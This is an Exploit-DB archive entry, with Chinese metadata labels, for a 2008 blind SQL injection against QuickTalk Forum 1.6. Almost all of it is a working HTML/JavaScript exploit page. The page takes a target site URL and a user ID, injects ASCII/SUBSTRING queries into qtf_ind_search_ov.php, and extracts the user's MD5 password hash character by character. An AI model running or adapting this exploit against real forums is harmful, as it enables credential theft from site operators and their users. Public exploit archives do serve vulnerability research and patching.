标题: QuickTalk Forum 1.6 - Blind SQL Injection EDB-ID: 5240 CVE: 2008-1316 类型: WEBAPPS 平台: PHP 发布日期: 2008-03-12 漏洞利用脚本: <html>
<head>
<title>QuickTalk Forum <= 1.6 Blind SQL Injection Exploit</title>
<script language="Javascript" type="text/javascript">
/*
 -----------------------------------------------------------------------------------------------
 - QuickTalk Forum Blind SQL Injection Exploit (qtf_ind_search_ov.php) -
 - Info ---------------------------------------------------------------------------------------
 - Author: t0pP8uZz & xprog -----------------------------------------------------------
 - Exploit Coded By t0pP8uZz ---------------------------------------------------------
 - Site: h4ck-y0u.org / milw0rm.com ------------------------------------------------
 ----------------------------------------------------------------------------------------------
 - Passwords ARE IN MD5           ----------------------------------------------------
 - Peace -----------------------------------------------------------------------------------
 ---------------------------------------------------------------------------------------------
*/

var site, uid, res = "";

function Start() {
 
 site = document.getElementById("site").value;
 uid  = document.getElementById("pid").value;
 document.getElementById("output").value = "Exploiting, Please Wait..";
 
 Main(1, 48);
}

function Main(substr, num) {

 var xmlhttp = false;
 var url     = site+"/qtf_ind_search_ov.php?a=user&id=1 and ASCII(SUBSTRING((SELECT pwd FROM qtiuser WHERE id="+uid+" LIMIT 0,1),"+substr+",1))="+num+"/*";
 
 try {
  xmlhttp = new XMLHttpRequest();
 } catch(e) { alert("Unsupported Browser! Run Exploit In Mozilla Firefox!"); }
 
 if(xmlhttp) {
 
  netscape.security.PrivilegeManager.enablePrivilege("UniversalBrowserRead");
  xmlhttp.onreadystatechange = function() {
  
   if(xmlhttp.readyState == 4) {
   
    var content = xmlhttp.responseText;
    
    var ele = document.getElementById("output");
    if(!content.match(/0 Found/i)) {
     res += String.fromCharCode(num);
     ele.value = res;
     num = 48;
     substr++;
    }
    else {
     if(num == 59) { num = 96; }
     else { num++; }
    }
    
    if(res.length >= 32) { alert("Exploitation Successfull!. Admin MD5 Hash: "+res); return true; }
    Main(substr, num)
   }
  };
  xmlhttp.open("GET", url, true);
  xmlhttp.send(null);
 }
}

</script>
<style type="text/css">
<!--
.style1{color: #CC0000}
.style2 { color: #000000;  font-size: 12px;}
.style3 {color: #FF0000; font-weight: bold; font-size: 12px; }
.style4 {color: #FF0000; font-size: 10px;}
-->
</style>
</head>
<body>
<p class="style1">- QuickTalk Forum <= 1.6 Blind SQL Injection Exploit -</p>
<p class="style2">Site: <input type="text" id="site" /> (URL to QuickTalk Forum site ie: http://www.site.com/quicktalkforum)</p>
<p class="style2">User: <input type="text" id="pid" /> (UserID of the user you want the MD5 hash too.)</p>
<p class="style2"><input type="button" onclick="Start();" id="button" value="Exploit" /></p>
<p class="style3">Output (MD5 Hash): <input type="text" id="output" size="100" /></p> (Do not touch untill exploit says its done)
<p class="style2">Notes: QuickTalk Forum uses the MD5 algorithms to encrypt passwords</p>
<p class="style4">Coded By t0pP8uZz - h4ck-y0u.org</p>
</body>
</html>

# milw0rm.com [2008-03-12] URL: https://www.exploit-db.com/exploits/5240